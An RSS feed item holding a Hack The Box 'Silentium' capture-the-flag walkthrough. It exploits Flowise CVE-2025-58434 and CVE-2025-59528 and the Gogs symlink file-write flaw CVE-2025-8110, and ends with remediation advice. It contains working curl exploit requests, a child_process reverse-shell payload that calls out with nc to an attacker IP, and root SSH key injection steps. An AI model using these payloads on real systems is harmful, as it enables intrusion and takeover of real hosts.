<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Revangga Brama Eka Putra</title>
    <description>The latest articles on DEV Community by Revangga Brama Eka Putra (@revangga).</description>
    <link>https://dev.to/revangga</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3994948%2F94958615-39c7-4b1f-bfb6-e65cbbb4dcbf.jpg</url>
      <title>DEV Community: Revangga Brama Eka Putra</title>
      <link>https://dev.to/revangga</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/revangga"/>
    <language>en</language>
    <item>
      <title>Hack The Box: Silentium Walkthrough</title>
      <dc:creator>Revangga Brama Eka Putra</dc:creator>
      <pubDate>Mon, 22 Jun 2026 23:29:53 +0000</pubDate>
      <link>https://dev.to/revangga/hack-the-box-silentium-walkthrough-4a9a</link>
      <guid>https://dev.to/revangga/hack-the-box-silentium-walkthrough-4a9a</guid>
      <description>&lt;h2&gt;
  
  
  &lt;strong&gt;Executive Summary&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Silentium is a high-quality machine that demonstrates the severe consequences of exposed staging environments, unauthenticated data leaks, and insecure code evaluation within modern LLM orchestration tools. This writeup covers the entire attack path: from leveraging a logic flaw in Flowise AI, gaining Remote Code Execution (RCE) via custom server components, to inheriting root privileges through local symbolic link exploitation in Gogs.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;1. Reconnaissance &amp;amp; Target Mapping&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Network Scanning&lt;/p&gt;

&lt;p&gt;We begin our engagement with an active network scan using &lt;code&gt;nmap&lt;/code&gt; to discover open ports and available services on the target system:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -p- -sV -sC -v --min-rate 1000 -oN initial_scan.txt &amp;lt;TARGET_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4wyjsey4234uz78wrjaq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4wyjsey4234uz78wrjaq.png" alt=" " width="799" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The scan reveals two primary entry points:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port 22/tcp: OpenSSH service.&lt;/li&gt;
&lt;li&gt;Port 80/tcp: Nginx web server routing traffic.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To ensure proper domain resolution, we append the primary hostname to our local hosts registry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo "&amp;lt;TARGET_IP&amp;gt; silentium.htb" | sudo tee -a /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Subdomain Virtual Host Discovery&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Since a standard inspection of &lt;a href="http://silentium.htb" rel="noopener noreferrer"&gt;http://silentium.htb&lt;/a&gt; yields limited results, we perform virtual host fuzzing to uncover hidden environments or subdomains using &lt;code&gt;gobuster&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gobuster vhost -u http://silentium.htb -w ~/tools/Seclist/common.txt --append-domain
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjp1q8z9xwagietwige3n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjp1q8z9xwagietwige3n.png" alt=" " width="799" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0pezgxzuk77j9tec7ap4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0pezgxzuk77j9tec7ap4.png" alt=" " width="800" height="566"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The tool identifies an active virtual host: staging.silentium.htb. Upon mapping this subdomain to our &lt;code&gt;/etc/hosts&lt;/code&gt; file and accessing it via a browser, we are greeted by an exposed deployment of Flowise AI.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;2. Initial Foothold: Exploiting Flowise AI Logic Flaw&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjkc4tncwm9hzhk75w63z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjkc4tncwm9hzhk75w63z.png" alt=" " width="799" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The active version of Flowise AI (3.0.5) contains a critical logical flaw during the credential recovery workflow. Specifically, when a password reset request is initiated, the application unintentionally encapsulates the active temporary reset token &lt;code&gt;tempToken&lt;/code&gt; directly within its backend API response.&lt;/p&gt;

&lt;p&gt;We searched for known vulnerabilities against this version, and two CVEs immediately emerged:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CVE-2025-58434&lt;/strong&gt; — Unauthenticated password reset token leak (versions &amp;lt; 3.0.6).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CVE-2025-59528 / GHSA-6933-jpx5-q87q&lt;/strong&gt; - Authenticated RCE via CustomMCP node (versions &amp;lt; 3.0.6).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both affect versions prior to 3.0.6. Both apply to version 3.0.5.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;3. Account Takeover — "Stealing the Keys"&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;CVE-2025-58434&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The CVE warning is almost too good to be true: Flowise versions prior to 3.0.6 leak password reset tokens directly in API responses. No email interception required. No exploitable SMTP configuration errors. Simply ask the server to reset your password, and it will hand you the token.&lt;/p&gt;

&lt;p&gt;By sending a targeted POST request to the account recovery endpoint with a discovered corporate email &lt;code&gt;ben@silentium.htb&lt;/code&gt;, we can intercept this token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user": {"email": "ben@silentium.htb"}}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5af00hnrqrk1ykgw4oyq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5af00hnrqrk1ykgw4oyq.png" alt=" " width="799" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The server didn't just return the tempToken — it returned everything. The user ID, the bcrypt password hash, the account status, creation dates. A full database record dumped into a single API response. This wasn't a subtle information leak — this was the front door left wide open.&lt;/p&gt;

&lt;p&gt;After we successfully generated a new token and sent the flattened payload to update the account password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
    "user": {
      "email": "ben@silentium.htb",
      "tempToken": "&amp;lt;target_tempToken&amp;gt;",
      "password": "&amp;lt;your_password&amp;gt;"
    }
  }'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqkfd2rq14jsw9vnk0l7l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqkfd2rq14jsw9vnk0l7l.png" alt=" " width="799" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We go to &lt;a href="http://staging.silentium.htb/signin" rel="noopener noreferrer"&gt;http://staging.silentium.htb/signin&lt;/a&gt;, type &lt;code&gt;ben@silentium.htb&lt;/code&gt;/ &lt;code&gt;Whoami!&lt;/code&gt;, and press Login.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqlb2a2ewyff5reeqxwqc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqlb2a2ewyff5reeqxwqc.png" alt=" " width="800" height="396"&gt;&lt;/a&gt;&lt;br&gt;
With our newly established credentials, we successfully authenticate into the administrative Flowise dashboard.&lt;/p&gt;


&lt;h2&gt;
  
  
  &lt;strong&gt;4. Remote Code Execution (RCE) via Insecure Code Evaluation&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Mechanism&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Once inside the administrative panel, we look into the Model Context Protocol (&lt;code&gt;MCP&lt;/code&gt;) integrations. The endpoint &lt;code&gt;/api/v1/node-load-method/customMCP&lt;/code&gt; handles configuration properties for custom external integrations.&lt;/p&gt;

&lt;p&gt;Due to a complete lack of sandboxing, any configuration passed to &lt;code&gt;mcpServerConfig&lt;/code&gt; is executed directly by the underlying Node.js runtime via unsafe evaluation methods.&lt;/p&gt;

&lt;p&gt;Weaponizing the Configuration Payload&lt;br&gt;
We can abuse this behavior by wrapping an Immediately Invoked Function Expression (IIFE) that imports the native &lt;code&gt;child_process&lt;/code&gt; module to instantiate an asynchronous reverse shell.&lt;/p&gt;

&lt;p&gt;We save our malicious node setup into a file named &lt;code&gt;exploit_payload.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({run:(function(){const engine=process.mainModule.require('child_process');engine.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&amp;gt;&amp;amp;1|nc &amp;lt;Attacker_IP&amp;gt; &amp;lt;Port&amp;gt; &amp;gt;/tmp/f');return 1;})()} )"
  }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We extract our admin session bearer token or API key from the browser settings, and trigger the execution via &lt;code&gt;curl&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
     -H "Authorization: Bearer &amp;lt;API_KEY&amp;gt;" \
     -H "Content-Type: application/json" \
     -d @exploit_payload.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwzdzpcrpjt6jpjlz2av7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwzdzpcrpjt6jpjlz2av7.png" alt=" " width="799" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our listener catches the connection, granting us an interactive shell inside the application's Docker container context as the &lt;code&gt;node&lt;/code&gt; user.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;5. Lateral Movement to Host&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Operating inside an isolated container limits our scope. A quick audit of the local environment variables reveals hardcoded production credentials:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;env&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feoiwk9f1g03lbbvyl2g4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feoiwk9f1g03lbbvyl2g4.png" alt=" " width="799" height="612"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We discover the plaintext password for the system user &lt;code&gt;ben&lt;/code&gt;. Since SSH access is open externally on the host server, we transition out of the container by establishing a secure terminal session as &lt;code&gt;ben&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh ben@silentium.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6fsdgt6mmc3h2i8f4yrz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6fsdgt6mmc3h2i8f4yrz.png" alt=" " width="799" height="612"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;User flag retrieved at &lt;code&gt;/home/ben/user.txt&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;6. Local Privilege Escalation: Gogs Arbitrary File Write (CVE-2025-8110)&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Internal Service Audit&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;While checking internal listening ports on the host system, we locate a local instance of Gogs (&lt;code&gt;Go Git Service&lt;/code&gt;) running on ports &lt;code&gt;3000/3001&lt;/code&gt;. A quick process inspection confirms that Gogs is operating directly under root privileges:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;netstat -tulpn | grep 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ps aux | grep gogs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmayqcuqw4otivvyproc8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmayqcuqw4otivvyproc8.png" alt=" " width="800" height="412"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Gogs is vulnerable to &lt;strong&gt;CVE-2025-8110&lt;/strong&gt;, an arbitrary file write flaw rooted in improper symbolic link handling when processing repository updates via its native REST API. If we push a symlink pointing to a vital system layout and subsequently update its content via the API, Gogs will blindly overwrite the target system file using root permissions.&lt;/p&gt;

&lt;p&gt;To ease exploitation, we build an SSH tunnel to route the internal web service to our attacking environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh -L 3001:127.0.0.1:3001 ben@silentium.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  &lt;strong&gt;7. Weaponization &amp;amp; Root Exploitation&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq0f9z07de4owky2zmlmn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq0f9z07de4owky2zmlmn.png" alt=" " width="800" height="527"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Gogs is a lightweight, self-hosted Git service. These services are typically installed by development teams for internal repository needs, but are often neglected afterward. The main vulnerability in this system is the still-active open registration feature, allowing anyone with access to the port to create an account. Taking advantage of this, I registered a new user, logged in, and successfully generated an API token.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9nbsf3nj9h7hr7rxo9b8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9nbsf3nj9h7hr7rxo9b8.png" alt=" " width="800" height="527"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Analysis of the CVE-2025-8110 Vulnerability&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The CVE-2025-8110 vulnerability is an Arbitrary File Write vulnerability discovered in Gogs. The issue is rooted in the way the &lt;code&gt;PutContents&lt;/code&gt; API handles writing data into a Git repository. By design, Git supports the use of symbolic links (symlinks), but Gogs fails to validate whether the destination path of the symlink resides within the allowed directory boundaries of the repository.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fps2xrbxcvb098u4mqmj3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fps2xrbxcvb098u4mqmj3.png" alt=" " width="799" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The exploitation scenario for this vulnerability involves creating a &lt;code&gt;symlink&lt;/code&gt; pointing to a sensitive system file, such as &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;. Once the symlink is uploaded to the repository, a file-writing API call can be exploited to insert an external &lt;code&gt;SSH public key&lt;/code&gt;. If the service is running with &lt;code&gt;root privileges&lt;/code&gt;, this modification to the authorization file can occur without triggering standard operating system warnings.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Executing the Symlink Attack&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdvfx6r8113cvgorn8ft2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdvfx6r8113cvgorn8ft2.png" alt=" " width="800" height="527"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A new repository named &lt;code&gt;worm&lt;/code&gt; was created within the Gogs platform. This repository was then cloned to the local environment. Within this repository, a symbolic link was created that specifically pointed to the administrative system authorization file path, &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;, before finally committing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0z5glljbqtkwxp3nf45d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0z5glljbqtkwxp3nf45d.png" alt=" " width="800" height="552"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The appearance of the &lt;code&gt;120000&lt;/code&gt; mode flag confirms that the symlink has been successfully committed to Git. The next crucial step is to make a &lt;code&gt;PutContents&lt;/code&gt; API call to write the new public key. This write process utilizes the existing symlink to direct the data to the target file system path.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fy4n17n9cdj7xwbwi0crc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fy4n17n9cdj7xwbwi0crc.png" alt=" " width="800" height="598"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;8. Final Escalation&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Following a successful response from the &lt;code&gt;API&lt;/code&gt;, the public key payload was indirectly written to the server's &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt; path via the symlink redirection. The final step is to perform an &lt;code&gt;SSH&lt;/code&gt; authentication check to confirm whether the access modification was successful.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh -i /tmp/root_key root@10.129.9.113
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feydzd0te9agdpdowh5zv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feydzd0te9agdpdowh5zv.png" alt=" " width="799" height="433"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Administrative privileges were successfully verified upon retrieving the root flag, confirming full host compromise. With root access established via the SSH key injection, the assessment moves to the reporting and remediation phase to document the findings and secure the asset.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;9. Remediation &amp;amp; Mitigation Recommendations&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;To secure the environment against the attack vectors demonstrated in this assessment, the following remediation steps must be implemented immediately:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A. Securing the Flowise AI Environment (Initial Foothold)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Patch the Software&lt;/strong&gt;: Upgrade Flowise AI to version &lt;code&gt;3.0.6&lt;/code&gt; or higher to resolve the password reset token leak (CVE-2025-58434) and the authenticated RCE vulnerability in the CustomMCP node (CVE-2025-59528) [cybersecurity].&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Network Isolation&lt;/strong&gt;: Ensure that development or staging environments (e.g., &lt;code&gt;staging.silentium.htb&lt;/code&gt;) are never exposed directly to the public internet without an upstream authentication layer, such as a VPN, IP-whitelisting, or a reverse proxy enforcing Basic Authentication.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;B. Hardening the Gogs Git Service (Privilege Escalation)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enforce the Principle of Least Privilege&lt;/strong&gt;: Never run application services like Gogs as the &lt;code&gt;root&lt;/code&gt; user. Gogs should be configured to run under a dedicated, low-privileged system user account (e.g., a &lt;code&gt;git&lt;/code&gt; user). This ensures that even if an arbitrary file write occurs, the process cannot overwrite critical host system files.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Apply Security Patches&lt;/strong&gt;: Update the Gogs installation to a patched version that resolves CVE-2025-8110 by properly evaluating and canonicalizing symlink paths before processing API-driven file writes (&lt;code&gt;PutContents&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disable Open Registration&lt;/strong&gt;: Modify the Gogs configuration file (&lt;code&gt;app.ini&lt;/code&gt;) to disable public account creation by setting &lt;code&gt;DISABLE_REGISTRATION = true&lt;/code&gt; under the [&lt;code&gt;service&lt;/code&gt;] block.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;C. Host-Level Hardening&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Restrict Direct Root SSH Access&lt;/strong&gt;: Modify &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; to include &lt;code&gt;PermitRootLogin no&lt;/code&gt;. This forces administrators to log in as standard users first and elevate privileges using &lt;code&gt;sudo&lt;/code&gt;, leaving a clear audit trail.&lt;/p&gt;&lt;/li&gt;
